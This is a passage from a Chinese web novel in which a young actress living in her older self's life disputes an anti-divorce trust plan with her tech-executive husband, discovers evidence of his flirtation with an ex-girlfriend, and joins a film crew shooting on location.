黄书韵和美指彭沙在宁市和北市之间来回考察了好多次,几个主要的外景取景地终于选好了:北方小城的KTV、足浴店、元珊儿子上学的学校,还有她和江游“抓奸”路上的几个落脚点,每一处都进行了反复的勘景。 内景则在距离宁市和北市都不远的万象影视基地拍摄。彭沙团队反复揣摩黄书韵剧本里人物的个性特点,又实地走访了几个警察的家,在几百平米的摄影棚里搭建出了女主元珊和男主江游的家。 彭沙是黄书韵大学师兄,是业界很有名气的美指,跟很多大导合作过。项目启动后,黄书韵厚着脸皮,攀了很多交情才把他请了过来。毕竟是行业里的大佬,审美和落地都很强。 说实话,彭沙拿到剧本也很喜欢。他没拍过这种半公路性质的电影,觉得挺带劲挺刺激的。 除了画面,声音部分,黄书韵也找来业内最专业的团队做。她作为导演,只需要让整个电影按着她的想法来呈现就行了。 最胆战心惊的是余平婉,这还没开机呢,钱已经哗哗地往外花了,每天一睁眼各种开销。秦毅的投资款全在共管帐户上,剧组的每一阶段的开销支出需要他那边签字。 好在秦毅在北市有个代理人,是他的律师,剧组要花钱,不需要找秦毅,只要他授权的代理人签字就行了。 资金对接的事都是余平婉在处理。跟秦毅那边代理律师接上头后,才知道对方竟然是她认识的老熟人。 景天屹景律师,很多年前,余平婉给应真当经纪人的时候,找他帮忙打过一个合同纠纷官司。 十几年过去了,景天屹从原来的律所出来,创立了自己的律师事务所,在北市法律圈很有影响力。 他比余平婉小几岁,如今也四十多了。长时间的脑力工作,他双鬓已经开始泛白。但因为气质出众,律师这一行又注重保养打扮,灰白的头发并不显苍老,反而给他添了几分儒雅的气质。 景天屹看到余平婉一点也不惊讶。之前项目书他就看过了,知道这次项目她和应真有参与。 这些年,景天屹没再接过娱乐圈的案子。他帮应真打完官司,没过几年她就结婚了,听说嫁给了一个游戏公司的总裁,年纪轻轻就退了圈。 景天屹都快淡忘了,直到前阵子从律师朋友那听到一对游戏公司总裁夫妇的八卦。 …… 两人一番寒喧,余平婉拿出下一阶段的预算单:“20号正式开机,大部队拉到宁市先去拍外景。外景估计至少要一个多月。这个阶段是最花钱的。黄导说了她会尽量缩短时间,节省成本。等外景结束,到影视基地那边拍内景,支出会少很多。” 去宁市,异地拍戏,剧组吃喝拉撒,每天不拍戏都要十几二十万的成本。光想一想都够让人焦虑的。 毕竟是从别人口袋里拿钱,余平婉原以为景天屹会拖上几天,没想到他只翻看了一下,便签了字。 他将签好字的单据递给她,微笑道:“按阶段释放资金,是为了让整个拍摄过程健康有序地进行,实际执行其实也并不会太严格。秦先生对黄导还是挺放心的。毕竟是处女作,倾注了很多心血。祝你们开机顺利。” 从律师事务所出来,余平婉长舒一口气。当制片人这么多年,她最喜欢秦毅这种有文化、爽快又事少的投资人。 上车后,她打了个电话给应真,把景天屹是秦毅的律师跟她说了。 她还想跟应真八一八景天屹现在的律所规模,却听到应真在那头道:“余姐,我这边有点私事正好需要找个律师,你把景天屹的联系方式发给我。” 宁君昊公司正紧锣密鼓地筹备上市,信托架构方案已经拟好了,就等应真去他公司签字。 应真对宁君昊公司这些年经营情况一点不了解,她想来想去,觉得自己还是要找个代理律师才行。在演艺圈打拼那么多年,她只跟那个叫景天屹律师打过交道,印象挺不错的。 她在心里默默对自己说,这个信托方案,她是替四十岁的应真看的。 偶尔,应真脑中会冒出乱七八糟的想法:老天能安排她穿过来,没准也能安排她穿回去。 说不定哪天,她和四十岁的应真各自回到自己的时间线,她不希望留个烂摊子给她。 所以,信托方案她得找个信得过的律师帮忙把关。 * 秦毅的移动木屋总算赶到寒潮侵袭草原之前翻新好了。 木工朝鲁领着施工队给秦毅干了整整两个礼拜,临走看到手机上转帐数字,脸上的笑容比草原上的太阳灿烂多了。 干了十几年木工,朝鲁也是头一回遇到像秦老板这样的雇主,修个移动木屋比人家城里人装修楼房还讲究。两间房屋,光窗户就三十几扇! 那些高级窗户,听说是从北市运过来的,上头全是他不认识的洋文。不止窗户,还有洗澡上厕所用的玩意,全是朝鲁没见过的。 秦老板还给两间屋子都安装了洗澡的地方和取暖的炉子,就差一块招牌,就可以开门营业了。 临走前,朝鲁脸涨得通红,结结巴巴地问秦毅:“秦老板,我,我听我妈妈说你单身没老婆,我老婆的妹妹在锡市开服装店,也没结婚。我介绍你们认识怎么样?” 在牧场,最难熬的不是繁重的体力活,而是孤独,尤其是草原的冬天,日子太艰难了。虽然祖祖辈辈都是牧民,但像朝鲁这样的年轻一代大多不想当牧民了,去城里干手艺活的、做生意,怎么着都比当牧民强。 所以朝鲁不理解像秦毅这种到草原来找罪受的城里人。冬天就要来了,一个单身汉子,在光秃秃的牧场,这日子比盐碱上的草根还苦。 秦毅被朝鲁问得愣住了,看他脸憋得通红,知道他不是在开玩笑,不由噗嗤乐了:“你可别祸害人家小姑娘了。我没娶老婆的打算。” 朝鲁挠了挠头:“你这民宿马上开起来,也需要人帮你吧。腾里格民宿就是两口子开的。” 敢情这是以为他要开民宿呢,秦毅用力拍了拍朝鲁的肩膀,“谁说我打算开民宿了?这两间房,我自己住。” 朝鲁听了直摇头,嘴里嘟囔着“你们大城市来的人我真的看不明白”,然后开着车走了。 终于不用在毡房里过冬了,秦毅看着焕然一新的木屋,有种自己终于要在草原过上文明人生活的感觉。拿出手机,给刚翻新好的两间木屋拍了照片,发给自己的好友兼律师景天屹。 “我这有地方住了。你有空带晓曼过来玩。” 尚晓曼是秦毅在CMU上学时的同学。跟他大学毕业后一直在美国打拼不同,尚晓曼很早就回国了。秦毅是通过她,才认识了她丈夫景天屹。回国后,便把自己所有法律业务都交给了景天屹。 秦毅在国内朋友不多,来往最密切的也就他们夫妇。 照片刚发过去,景天屹就打了电话过来,“今年是去不了了。等明年夏天吧。” 秦毅笑骂道:“你都创始合伙人了,活又不用你干。几天功夫抽不出来?” 景天屹也笑:“我要感谢你。天上又掉了个项目下来。” 说完,他便把应真找他当私人律师的事跟秦毅说了,“不是你这个项目,她也想不起来我,真的得感谢你。” 秦毅那头顿了一下,说了句:“应真是我朋友。既然她找你代理,那信托方案你帮她好好看看。” 景天屹:“具体细则我还没看到。他们夫妻之间情况比较复杂。应真之前找别的律所代理过离婚事务,听说离婚协议都拟好寄给她丈夫了。后来不知道怎么不了了之了……” 秦毅站在木屋外面,十一月的草原,风像刀一样,割得他握着手机的手生疼。 他转身进了木屋,在火炉边坐下,神色终于归于平静,“离婚?什么时候的事?” 第43章 第43章修改版!后面增加了重要…… 景天屹笑了笑:“这我哪知道。是我们竞争对手天宸那边接的案子。当时听到那个传闻,我还在想她怎么没找我给她代理离婚案,我之前帮她打的那个官司明明打得很漂亮啊。” 开律所,优质客户的争夺是很激烈的。景天屹向来自负,虽然不缺客户,但有客户流失多多少少还是会介意的。不过念头只是一闪而过,他并没有往心里去。 没想到时隔不久,应真又重新回来找他代理,案子却由离婚协议委托转成了信托方案委托。 秦毅没再说什么,只道:“所以你感谢我干嘛,你是靠自己拿到这个代理的。” 两人又聊了几句,便挂断电话。秦毅坐在火炉前,有一瞬间的出神。 上回同学聚会,倒没从宁君昊那看出任何夫妻不睦的迹象。相反,他感觉宁君昊挺看重应真的。不过,到了公司上市的关口,婚姻跟感情没多大关系,背后更多的是经济利益绑定。 这也是秦毅不结婚的原因,他实在找不到让他结婚的理由。如果婚姻等同爱情,那为何不一直谈恋爱,当爱情耗尽,各自走开就好。如果婚姻是经济共同体,那不如一起合伙开公司好了。 非得通过婚姻制度把男人和女人绑定在一起,所以世上才有那么多怨偶。 手机又弹出未读消息,秦毅打开一看,是黄书韵发过来的,她一股脑发了七八张照片给他。 “好多年没回一中了。这次趁着回去选景,溜进一中看了看。你别说,变化真挺大的。我都快认不出来了。听说明年要搬新校区了,老校区后面会推倒了盖商品房。” 秦毅已经想不起来自己多少年没回宁市了,点开黄书韵发过来的照片。记忆中那个黄土操场已经变成了塑胶跑道,学校大门换了,教学楼也翻新了。 因为父亲是一中老师,他从小住在学校的教师宿舍楼里。他对里面的一砖一瓦实在太熟悉了。 翻看着黄书韵发过来的照片,那些灰蒙蒙的记忆又扑了过来。他拿起手机回:“你去家属楼看了没有?” 黄书韵:“看过了。大部分老师都搬走了。还有些年纪很大已经退休的老师住在里面。等明年拆迁,估计都得搬走。” 说完她发了张家属楼的图片过来,一排红砖房,秦毅试图从里面找到自己小时候住过的房子,却发现自己已经想不起几栋几号了。 他心里泛起一丝难言的滋味。原来再刻苦铭心的记忆也是会淡忘的。 他上大学没多久,父亲就把那套房子低价处理掉了。单位分的福利房,里面死过人,在外人眼里名符其实的凶宅。后来是一对年轻的教师夫妇,因为结婚急需房子,买了下来。 卖房子的时候,父亲没跟他提过。等放寒假的时候,他回宁市,才知道父亲已经带着妻子儿子搬到新家去了。 最让他郁闷的是,搬家的时候,他们把他小时候的东西和妈妈的遗物都当废品处理掉了,只留了一本相册给他。 父亲已经彻底斩断过往,奔向新生活。人到中年,被重为人父的喜悦包裹着,生活的重心全落到第二任妻子和小儿子身上。 对于已经考上大学的大儿子,他已经无更多心力顾及。尤其是大儿子上大学没多久,也跟他母亲一样患上了精神方面的疾病,连学业都难以为继。 后来秦毅在舅舅的资助下,从Q大退学,去美国上学了。打那以后,他便没再回过宁市,只逢年过节的时候给舅舅一家打电话问好。 …… 黄书韵看他一直没回,又发了一条:“我今天还遇到曾老师,他一直惦记着你,问我要你的联系方式。我把你的电话号码告诉他了。” 曾老师是他们高一时的班主任,上学的时候就特别关注秦毅,经常带他去家里吃饭。 想到以前的老师,秦毅眼神柔软了些许:“好。有空我回去看看。” 回国这么长时间,牧场也渐渐上了轨道,却一直没有告诉舅舅,是时候找个时间回宁市见见舅舅了。 * 奇技大厦,宁君昊翻看着最终版的信托方案。 这个由他和他的私人律师、信托顾问、财务顾问拟定的条款,最终投行那边通过了。 他拿起手机看了眼时间,距离他跟应真约好的时间还差十分钟。他拨了个电话给她,“老婆,你到哪了?还有多久?” 一声“老婆”,会议室里其他几个男人都安静下来,互相交换了个眼神,纷纷压着唇角笑了。 那头传来一个女人声音,急急切切地说着什么。电话这边的宁君昊笑了,难得的愉悦表情:“我早就让你来我公司看看,你不来,现在连门朝哪个方向开都不知道。” 然后他站了起来,“你在B区那别动,我去接你。” 说完,他也不管这一屋子的人,扔下一句:“我去接下我太太。你们继续。” …… 奇技大厦,应真第一次涉足这里,而且是在律师的陪同下。远远地看到宁君昊冲自己招手,才知道她找错电梯了,问题是那人也没跟她说清楚啊。 宁君昊扫了一眼应真身后那个头发花白的男人,知道是她找的律师,冲那人略一颔首,便牵着老婆的手上楼了。 “我的办公室在六楼,这一层东侧都是我的私人区域,有办公室,游戏室,会议室,盥洗室还有休息室。” 奇技大厦落成后,老婆还是头一回来他办公室,宁君昊有意在她面前显摆,“是不是比当年在Q大科技园里头强多了?” 应真一进来就被他办公室的规模震惊了——他一个人要占这么大的地方? 不过,的确很舒适,空间宽敞明亮,高档的办公家具,柔软的地毯,装修品味很好,显然花了大价钱聘请了专业的建筑师和室内设计师。 她点点头,由衷赞叹:“确实强多了。老公,你很厉害啊。” 这十几年,宁君昊作为公司老板,将一家小型游戏公司一步步壮大到今天的规模,的确可以用“事业有成”四个字来形容。 对于他取得这样的成绩,应真并不意外,他就是那种认准目标不撒手的人。 宁君昊把应真和景天屹请进办公室,秘书很快送进来两杯咖啡。 景天屹的工作性质,也接触了不少老总级的人物,还是忍不住感慨宁君昊这办公环境也太奢侈了。 应真对自己丈夫的穷奢极欲见怪不怪。这人从来不会在物质上亏待自己。 两人在宁君昊办公室的会客区坐下。宁君昊看老婆挨着那个老头坐,有些不悦,拽着她的手,小声道:“这又不是谈判,你坐我对面干嘛。” 应真不理他:“亲兄弟,明算帐。今天是聊公事。” 宁君昊拿出打印好的协议文件,“老婆,这是拟好的信托方案,你看一下。如果没问题的话,可以签字了。” 应真来之前,已经被景天屹恶补过功课。信托方案主要看几个关键条款:股权、收益分配和控制权,还有风险隔离措施。 她个人占了奇技20%的股权。收益分配上,她作为终身受益人,享有50%股息收益权,每个月还可以领取七位数的生活费。 女儿的权益宁君昊也有考虑,每年有150万的教育基金,满18岁可获得20%投票权,25岁获得完整控制权。 景天屹看到50%的股息收益权,忍不住抬眸扫了眼对面的男人。他知道这个数字肯定是宁君昊争取过来的。大部分的信托方案是按利润来分配收益的。而宁君昊选择平分股息收益,等于给了应真经济收益方面与自己近乎平等的地位。 对他这个级别的老板来说,这绝对是某种程度上的诚意表达。 干这一行时间长了,景天屹也知道越是诚意的方案,越意味着苛刻的风险隔离措施。 他屏住呼吸往下看: “若离婚,则自动启动股权回购条款。” “若改嫁,则需返还过往10年累计收益的50%作为‘情感违约金’,用于女儿教育的部分可豁免。” 应真看到这一行,眼睛也睁大了:“宁君昊,你什么意思?这是防离婚条款吗?” 景天屹瞬间想到自己听到的那些传闻,这个时候作为应真的代理律师,他必须站出来替她说话:“宁总,这个条款太严苛了。” 宁君昊看到老婆眼里的情绪,对景天屹道:“景律师,你能不能回避一下,我想跟我太太单独聊聊。” 景天屹转头看向应真。应真冲他点点头:“你放心,你不在场,我不会签字的。” 她都这么说了,景天屹放心地出去了。 门刚关上,应真就开口问他:“那两条附加条款是你要求加的?” 宁君昊跟她在一起这么长时间,已经知道什么时候必须说实话,于是如实回道:“第一条是投行那边要求加的。第二条是我想加的。” 应真抬头看着他,怒火一点点在眼睛里蔓延开:“宁君昊,你什么意思?我知道你着急上市,但防离婚不用防到这个地步吧?” 宁君昊看她真的生气了,上前牵她的手:“老婆,我也设置了道德条款。如果我出轨,所有收益权转到你名下。你知道我要加这个条款,多少人反对吗?都这个岁数了,我反正没有离婚的打算,你肯定也不会有……” 这人简直在胡说八道。应真甩开他的手,打断道:“你既然这么有信心,为什么还要加上离婚改嫁条款?怎么?我要是跟你离婚,嫁给别的男人,还得赔钱给你不成?” 这一刻,情绪上来了,应真觉得自己大脑已经无法思考了。她只是单纯的气愤。 这十几年,宁君昊公司规模增长,事业急迅攀升。而她当了十几年家庭主妇,事业上停滞不前。在外人眼里,宁君昊是个事业有成家庭幸福的男人,她是什么? 女人苦心经营的美满家庭光环,男人轻松摘去一半。而男人打拼出来的事业成功光环却只属于他们自己。 偌大的办公室里安静得只有两人的呼吸声。应真那张柔美的面庞因为生气而变得冷硬。 宁君昊垂眸看她,没说话,半晌缓缓开口:“那我们换一下。如果你要离婚,我自愿放弃全部投票权,把公司控制权移交到女儿手里,然后将我个人名下90%资产转入你账户里。” 应真以为自己听错,有些不可置信地看着他,对上他那双深不见底的眼眸,她突然回过味来了,又来这一套! 他是吃定她舍不得他么?! 应真眼眶发红,扯动唇角笑了:“你是想让我愧疚吗?还是觉得我不会看着你一无所有?” …… 景天屹坐在外面的沙发上等候,手机上弹出一条消息,是天宸所的何律师发过来的,“景律,你不厚道啊,把我那么好的客户给撬走了。” 这怎么能叫撬?是人家自己找上门来的。景天屹正想着怎么回信息,身后传来动静,应真拎着包从里面出来了,脸上还带着一丝怒火。 看着应真往外走,景天屹忙起身跟了上去。 景天屹让助理直接开车回律所,应真看着窗外,淡淡道:“不用了。麻烦直接送我回家,松湖壹号。” 景天屹想了想,还是决定提供一下自己的专业看法,“刚才两条附加条款,第一条有些信托方案会那么操作,但不一定真的执行。第二条,就多少有点惩罚性质了……” 应真想过了,如果自己是四十岁的应真肯定不会签。难道离婚,连改嫁的自由都没有?宁君昊现在的控制欲真的让人无法忍受。 景天屹看她现在还在情绪上,便道:“那你跟宁总再沟通一下。有什么需要随时联系我。” 应真已经打定主意不签,便不再纠结在那件事情上。她开始收拾东西转移自己的注意力,明天就要跟剧组去宁市拍戏,她还没有开始收拾行李。 刚将衣服叠好,手机响了,是一个叫何钰的人打过来的。应真看着屏幕上跳动的人名,在脑子里搜刮了一遍,确定自己并不认识这个人。 她把电话接了起来,那头传来一个女人的声音:“应女士,前段时间我给你拟好离婚协议,寄给您丈夫后,就一直没有消息。打电话给您您也没接。听说您最近找天屹的人代理信托业务,我想了解一下,您是不是已经放弃离婚的想法了?” 应真脑袋有一瞬的宕机,下意识地脱口而出:“我寄离婚协议给我丈夫?” * 家鹊儿咖啡馆,何钰握着已经冷掉的咖啡,看着面前这个女人。 和上次见面相比,她似乎有了些许变化,但又说不上哪里不一样了。 此刻,她脸色苍白,那几页纸被她捏在手里,仿佛比砖块还要沉重。 在了解了前因后果后,何钰不由为自己刚才电话里有些冒犯的语气而感动抱歉,“应女士,我不知道您发生了交通事故,记忆出现问题了。我还以为您把这块业务交给天屹去做了,所以才打电话问一下。现在我们律所考核也严,我不想在我手里丢失客户……” 前段时间,何钰跟她打过好多次交道,知道她是个通情达理很好说话的客户,所以有事都是开诚布公地跟她说。 她说完,空气也随之沉默下来,这沉默让何钰有些尴尬。片刻过后,她反应过来,自己现在对应真来说,就是个彻头彻尾的陌生人。景天屹好歹以前还给她打官司。 何钰只能硬着头皮解释起来:“应女士,其实我刚才打电话给您,没别的意思,就是想了解下您为什么换代理律师。毕竟婚姻诉讼和信托服务这两块业务,也是我们天宸擅长的……” 还没说完,对面应真已经放下手里那几页纸,面色恢复如常。 对上她的眼睛,何钰这才发现她哪里不一样了,眼里的疲惫和倦怠不见了,取而代之的是一双清亮冷淡的眼眸。 “何律师,您能跟我说说,我想要跟我丈夫离婚的原因吗?” 何钰小心地觑着她,字斟句酌地开口道:“您说是感情破裂,但我听您之前跟我说的,导火索应该是您丈夫前女友回国了,而且他非要跟前女友合作做生意。您觉得他根本不尊重你……当然,可能还有别的原因。” 应真目光凝起,怔住:“前女友?” 脑中瞬间闪过在婆婆家见过的那个女人,叫什么来着?好像是宋——幼萱。可是她记得当时宁君昊介绍的是,她是他表嫂苏苒的朋友。 宁君昊骗了自己?应真放在离婚协议上的双手不由地攥紧。 何钰想了想,自己毕竟还是应真的离婚代理律师,她也没有提出终止代理的诉求,所以还是要尽到告知义务。 她一咬牙一跺脚便把先前拍下来的聊天截图存证翻出来,“这是您先前发给我的您先生和他前女友的聊天记录。” 应真接过她的手机,是一张宁君昊跟一个叫Yolanda的女人的聊天截图。 宁君昊:公司刚办起来,就接到这么多大单,恭喜你。不过,你那个脑子,回国应该干什么事都能成。 Yolanda:却没能俘获你的芳心[皱眉] 隔了半小时,宁君昊又发了一条:你话都说到这个份上了,我回去考虑一下要不要离个婚。 Yolanda:[害羞]你这么有诚意,那我肯定努力当好后妈。 …… 短短几行字,却像核弹一样,激起阵阵风暴。 应真看了好几遍,她希望是误会,但那头像就是宁君昊的,每天都会发信息,怎么可能认错? 她想冷静,可是此刻她只有二十五岁,没有四十岁女人应有的成熟稳重,握着手机的那只手忍不住颤抖起来。 四十岁的应真看了这个聊天记录,应该也像是一根针扎进了肺里吧,否则为何要跟宁君昊离婚呢? 原来她的直觉没有错,穿过来这些日子,那些自己觉得不对劲的地方此刻通通有了答案。 说不上什么心情,应真感觉自己好像突然丧失了情绪感知能力。 她应该难受吗?四十岁的应真看了这个应该比她更难受吧?她才二十五岁,刚跟宁君昊结婚,她知道他很爱她。 是啊。她不应该难受的。她的宁君昊从恋爱到结婚,对她始终如一,并没有做过对不起她的事。 可是,为什么胸口堵得那么难受?喉咙也干涩得说不出话来,就连眼眶也不争气地开始发酸。 何钰看到应真那张血色尽失的脸,有一丝后悔。 人家都失忆了,兴许就是并不想想起这段不愉快的记忆。自己却又把真相告诉给她。 她有些迟疑地开口道:“现在这个关口,确实不是离婚的好时机。或许,您可以利用丈夫公司上市的机会,多为自己争取一些。” 应真站了起来,垂眸看着何钰,神色已经恢复冷然:“何律师,谢谢你告诉我这些。我会联系您的。” 从咖啡馆出来,应真叫了辆出租车。回到家里,整个人僵木地站在空荡荡的客厅里,几分钟后才缓过来。 这个点,小李应该已经在去接女儿放学的路上了。而宁君昊应该还在公司,想着怎么去应付那些投资人。 这是四十岁应真的生活,不是她的,或许她早应该离开了。 应真上楼,继续收拾行李。她发现即便这个时候,她都能冷静得有条不紊地收拾东西。其实这些日子,她已经准备得差不多,把东西一样样往行李箱里放就行了。 拎着两个二十八寸的大箱子下楼,她看了眼墙上的钟,四点半了。 应真第一反应是去翠苑,很快便被她否定了。黄书韵最近太忙了,她不想因为自己的事影响了她的工作状态。而且万一宁君昊找到那,更会影响她。 手机群聊不停地弹出消息,《雪在烧》副导演正在通知明天剧组大巴的集合点,“明天早上九点,大家准时在华江大厦对面的停车场集合。” 应真在手机上搜索了一下华江大厦,在离得最近的酒店定了一间房,然后拎着行李离开了。 …… 宁颐然放学回家,发现家里又是她一个人。最近妈妈忙起来了,晚上有时候看不到人。 她叹了口气,回房间开始写作业。虽然不想承认,但家里只有她一个人的时候,她有些害怕。 放下书包,她给晋扬打了个视频通话,他拒绝了,很快发了条信息过来:“我妈在家呢。今天不能跟你视频了。” 宁颐然只好打开音箱开始放歌,写了一会作业就到饭点了,她给自己点了个外卖。 晚上九点,爸爸回来了,看上去有些疲惫,心情也不好,看到她便问,“你妈妈呢?” 宁颐然:“我妈不知道去哪了。还没回来。” 宁君昊眉头皱了起来,拿起手机开始打电话,打不通。这是年轻的应真最让他受不了的地方,每次跟他吵架,就不接电话。 结婚多年后,应真反倒不会了。吵架再生气,也会把家里大大小小的事情安排好。 一种无力的烦躁感涌了上来,宁君昊一屁股坐在沙发上开始给应真发信息:老婆,你先别生气。信托方案里的附加条款,可以调整的。我只是不想失去你,你要是能想出个让我安心的条款,我立刻签字。 发完他发现自己的信息竟然被退回了。应真拉黑他了?! 宁君昊自问这些年自己也算养气功夫到家了,看到那个红色提示,火气还是抑制不住,脸色铁青地一把将手机扔到沙发上。 一抬眼看到女儿站在自己面前,漆黑的眼珠子正目不转睛地看着自己:“爸,你又跟妈妈吵架了?” 第44章 第44章二合一 前面那章后面修改了,增加了1000多字。为了分章更合理,剧组拍戏的剧情放这一章了。 —————————— 宁市,西北省的一个普通地级市,距离北市两百多公里。 虽然现在是全国有名的滑雪胜地,但在黄书韵记忆里,只有灰突突的城市景观和荒凉漫长的冬季。一年有五个月都处于供暖的季节。 《雪在烧》剧组这次租了四台大卡车,外加五辆面包车,两辆大巴,四辆商务车,组成了一个浩浩荡荡的车队,从北市前往宁市。 应真从酒店打了辆出租车去集合点,路上接到余姐的电话,“你是自己开车去宁市吗?还是跟着剧组大巴一起走啊。” 从锡市回来,她把自己交通事故后发生的事跟余姐说了。 其实,不用她说,这段时间余姐也察觉出很多地方不对劲。十几年总裁夫人的生活竟然在她身上没有留下一丝痕迹。应真的爱好、说话举止跟年轻时一模一样。 明明当了十几年全职太太,却在她身上感觉不到任何被婚姻驯化过的痕迹。 起初,余姐还以为这些年宁君昊将她宠成了不谙世事的小公主。后来应真在锡市打电话告诉她,宁君昊为了不让她复出演戏,在背后搅黄她们的投资。当时应真心灰意冷的口吻,仿佛才发现自己男人是个什么货色,让她觉得哪里不对。 回北市后,应真把来龙去脉跟她一说,余姐这才恍然。 一想到应真这十几年的记忆全没了,余平婉经纪人属性大爆发,忍不住又开始把她当成退圈前的应真来关心照顾。 应真知道她忙,干制片人的活,又给整个剧组当妈,管这一大帮子人的后勤,忙道:“余姐,你那一大堆剧组的事儿要忙,就别操心我了。” 那边有人催,余姐听她这么说,吩咐了句“那你路上注意安全”,便挂了电话。 握着温热的手机,应真心里泛上些许暖意,被人关心的感觉总是好的。昨天拎着箱子从别墅里出来,她才发觉四十岁的应真拥有的东西如此之少。白泉那边的家人除了妹妹应巧,其他都已经断了来往。而在北市,姨妈和表姐俩母女交恶,姨妈性子怪戾,表姐离婚带着穗穗,自顾不暇,平时大家忙着各自生活。 在这个世上,应真真正的家人只有宁君昊和女儿。可是宁君昊已经不是刚结婚时深爱着她的男人,而跟她有血缘关系的女儿,母女关系又那么疏冷。 四十岁的应真,身后空荡荡的。到头来,还是年轻时工作结交的朋友,因为再次共事,而又重新连结起来,让她感受到一丝温暖。 挂上电话,应真已经到了集合点。她不想太张扬,戴着帽子和口罩,坐在大巴车最后一排靠窗的位置,跟着剧组一起去宁市。 好多年没有拍戏,才发现现在剧组都是年轻人的天下。那些年轻气血充足的面庞,车上有说有笑的,像是小时候去春游一样。 应真坐在后面,没什么人注意到她,看着窗户不断倒退的北市街景。她突然觉得这个场景跟《雪在烧》里头元珊被停职检查后的场景很像。 那次扫黄抓捕行动中,亲眼目睹丈夫嫖-娼,她整个人崩塌了,导致在行动中出现了影响了整个任务的纰漏。 行动结束后,元珊被早就看她不顺眼的江游勒令停职检查。她每天一个人坐着公共汽车,在宁市漫无目地闲逛。 那个家,充斥着跟丈夫结婚十几年的点点滴滴,元珊根本无法再待下去,置身陌生的人群当中,才能让她内心得以平静,又或者旁若无人地痛哭流涕,无须避着谁。 在戏中,几场重头戏不是按照时间线拍摄的。为了定好前半部戏的调子,黄书韵决定把足浴店扫黄抓捕夜的戏放在第一场。 这意味着,应真明天第一场戏就是情绪大起大落的一场戏。 应真阖上眼睛,脸对着窗外。坐在前面的一男一女压低嗓门在聊天,她其实不想听,但架不住他们的聊天内容往她耳朵里钻。 男工作人员:“这戏票房全靠李长风扛,他粉丝还是挺多的。” 女工作人员:“咱这又不是粉丝电影。小说和剧本我都看了,我还给我爸看了,他笑得肚子疼。说不定到时候就来个票房奇迹。” 男工作人员:“我不指望别的,别到时候又给欠我工资。上个剧组,我还有一半薪水没结呢。” 女工作人员白他一眼:“怎么可能?你忘了这戏的女主角是谁?人家老公是干什么的?咱们这个小制作,搁人家那就是洒洒水。” …… 两人你一句话我一句,应真内心毫无波澜,感觉在听别人的八卦。 兜里的手机再次震动起来,拿出来一看,叶阿姨发过来一张照片,“太太,按您的菜谱做的早餐。第一次做,没掌握好火候。” 应真拿起手机回:“以后不需要跟我报备了。拍戏的时候不方便看手机。” 除了叶阿姨发的,手机还有很多未读消息,经常送货上门的海鲜小贩、钢琴调音师、英语培训班的老师,还有各种跟女儿有关的群聊消息。 那个不孝女也发来了几条,应真没有打开看。 既然已经决定做回二十五岁的自己,也没什么看的必要。 到了宁市,车子停在剧组包的酒店门口,黄书韵像个东道主一样,拿起话筒提醒大家:“这里比北市冷啊,你们都给我多穿点啊。大家按照各自的房间号上去把东西收拾一下。十一点开机仪式准时进行。” 为了让演员专心创作,《雪在烧》剧组四个主演,都安排了独立的房间。 除了应真,剩下三个主演分别是饰演男主江游的李长风,饰演元珊前夫的陈卓和饰演江游妻子的芮宁。 李长风,应真见过了。饰演男二的陈卓,应真之前跟他合作过《孤影江湖》,算是熟人。 几个主演里,应真的对手戏主要集中在李长风和陈卓身上,跟芮宁没有对手戏。其他几个主演没有跟剧组的大巴,自己开车过来,也已经快到了。 应真到了房间,把行李箱里的衣服拿出来,把洗漱用品放好。这次她带过来的衣服,大部分是她觉得适合元珊穿的。 为了接近角色,这段时间停止了节食,也没有过度保养自己。元珊是个普通的中年女警,有点粗糙,有点手忙脚乱,丰满到有些微胖的身材,乍一看并不会引起任何人的注意。 这部戏她大部分时候是素颜出镜。她的粗砺,不修边幅,正好跟江游的精英自律形成强烈的反差。 刚收拾好,就听到外面的敲门声,应真打开门,一个身材高大瘦削的男人正站在门口笑眯眯地看她,应真愣了一下,很快眼里迸发出欣喜:“陈卓?!” 十几年没见了,陈卓上下打量她:“那天看到靳年发的微博,我还以为自己眼花。女神退圈这么多年,这是又复出了?” 在应真那个时代,女神是指庐雪老师那个级别的,大满冠影后,在电影圈地位成就卓然。听陈卓喊自己“女神”,她有些不好意思。 应真赶紧把他请进来,正好水开了,她拿出自己从北市带过来的茶叶,开始给他泡茶。 她从北市带了整套的茶具过来,这是多年剧组拍戏留下来的习惯,在条件允许的情况下,她会努力把在剧组的生活过得舒服一些。 应真把茶杯用沸水烫过,给陈卓端上一杯,笑道:“难怪网上说你是‘叔圈天菜’,我看你这身型比拍孤影江湖那会还要瘦。” 陈卓年轻的时候外型在演艺圈不占便宜,身高一米八算是过关,五官立体,但脸型偏长,气质也是偏阴郁挂的。但随着年纪增长,他饮食克制,又坚持健身,发际线**,反倒有越老越迷人的趋势。 应真丝毫没有豪门太太的架子,还像以前一样,忙里忙外地招呼自己,陈卓也放松下来了,接过茶杯喝了一口,“这几年拍电视剧我试过了,我60公斤的时候上镜是最好看的,63公斤是极限。最近为了准备许鹏池的角色,我才放开了吃,现在体重70公斤。” 陈卓这些年专攻电视剧市场,已经好多年没拍过电影了。说起当年在银市拍《孤影江湖》的事,还跟昨天的事一样。 演《孤影江湖》的时候,他大学刚毕业,就接到了男三号的角色。机会来得太容易,多少有点不知天高地厚。以为以后电影肯定一部接一部地来。谁能想到拍完《孤影江湖》后,几乎没有什么有份量的电影来找他。 陈卓对应真拍戏时的状态印象深刻,“那时候全剧组没见过比你更苦的,除了拍戏就是练功。” 应真笑:“我也是被逼的,你忘了开机都一个月了,导演还想把我换掉。” 两人叙了一会旧,陈卓还想跟她聊明天第一场戏,助理过来喊他。人已经到齐了,马上开机仪式。 陈卓回房间准备,应真站在镜子前开始整理头发,今天没有化妆,看着脸色有些苍白,赶紧拿出口红涂抹了几下。 刚套上羽绒服,黄书韵过来找她,一进门,便站在那儿盯着她瞧半天,“我这一大早各种事,都没空找你聊。你昨天晚上去哪了?跟宁君昊吵架了?他昨天打电话来问我,你是不是提前去剧组了。我说我不知道啊,你也没跟我提。挂了他的电话,我就赶紧打给你,打了好几个都没打通。” 应真:“也不能说是吵架。就是单纯的观念不合。我想好好准备一下角色,昨天晚上就去酒店住了一晚。手机也关了,你知道的,我拍戏不怎么用手机。” 她不想再把自己跟宁君昊之间的那些事,又拿出来说一遍,回忆串连然后用语言组织完说出来,这个过程只会徒增难受痛苦。 黄书韵狐疑地看着她,顿了顿:“这几个月白天我肯定没空。有什么事想不通的,需要找人倾诉的,晚上来找我。” 从昨天到今天,应真都没有任何想哭的感觉,听到这几句话,却有些崩不住了。她上前一把抱住黄书韵,努力让自己的声线平稳如常:“你放心,我有事肯定找你。” 